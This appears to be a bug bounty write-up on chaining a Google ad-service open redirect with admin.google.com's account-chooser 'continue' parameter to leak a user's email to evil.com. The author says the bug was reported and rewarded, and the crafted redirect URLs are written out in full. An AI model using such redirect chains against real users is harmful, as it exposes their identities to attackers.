How I Chained an Open Redirect into Email Leak and Got $1,337 from Google

Who Am I?

Hi! I'm Pratyush Dutta, a 17yo old Bug Bounty hunter. I started last year and this bug turned out to be a fun and rewarding one😚( I wrote this article in 2025 but never published it. Please ignore if my writing style is bad it dates back to 2025 🙏)

How it all started (2024) :

About a year ago(2024), while hunting on Google, I discovered an open redirect endpoint:

https://adservice.google.com/ddm/clk/424929466;226923624;r;;%3F//evil.com/auth/

I was super excited! But as I started writing a report to Google I realized that Google doesn’t accept open redirects 😓. A bit disappointed and demotivated I saved the URL in a **.txt** file and moved on.

At that time, I couldn’t dedicate much time to bug hunting because of my upcoming board exams so I didn’t make much progress.

May 31st, 2025 Midnight Curiosity :

It was around 2 a.m. I was poking around **admin.google.com** and thought : “How could the admin page of Google possibly be vulnerable?”

I noticed a **continue** parameter in the URL:

https://admin.google.com/ac/accountchooser?continue={url}

I tried injecting **https://evil.com** into **{url}**, but as expected, it didn’t work.

Out of curiosity, I replaced it with **https://evil.google.com** and surprisingly, it worked!

It redirected me to **https://evil.google.com** (ofc a 404 subdomain of Google). BUT the twist? Whichever account the user clicked, the email address got appended to the redirect:

https://evil.google.com/?authuser=victim@gmail.com

What I Learned :

1. The **continue** parameter accepts all subdomains under **google.com**.
2. The user’s email (**authuser**) gets appended to the redirected URL.

Connecting the Dots :

Now the question was : How do I exploit this?

Then it hit me : what if I used the old open redirect I had found a year ago?

I quickly searched for the **.txt** file where I saved the URL. Luckily, I found it easily. I combined the **admin.google.com** URL with the open redirect:

https://admin.google.com/ac/accountchooser?continue=https://adservice.google.com/ddm/clk/424929466;226923624;r;;%3F//evil.com/auth/

And it worked! Since **adservice.google.com** is a Google subdomain, the system allowed it. And because it redirected to **evil.com**, I was able to leak the victim’s email to an attacker-controlled URL!

I immediately reported it to Google! And it got triaged the same day :)

Later I realized that what I found was actually a bypass of a previous fix! The same bug was mentioned in LiveOverflow’s YouTube video:

[embed]

• Triaged : 06:56 | May 31, 2025
• Accepted : 23:11 | Jun 3, 2025
• And about three weeks later, the panel decided to award me $1337!

Conclusion :

Always try to connect the dots! This was an amazing experience for me. A huge shout-out to Google’s security team for all their efforts. Thanks for reading this article. I hope this could be useful to you in some way. Goodluck with your BB Journey!

xlsize0bruh.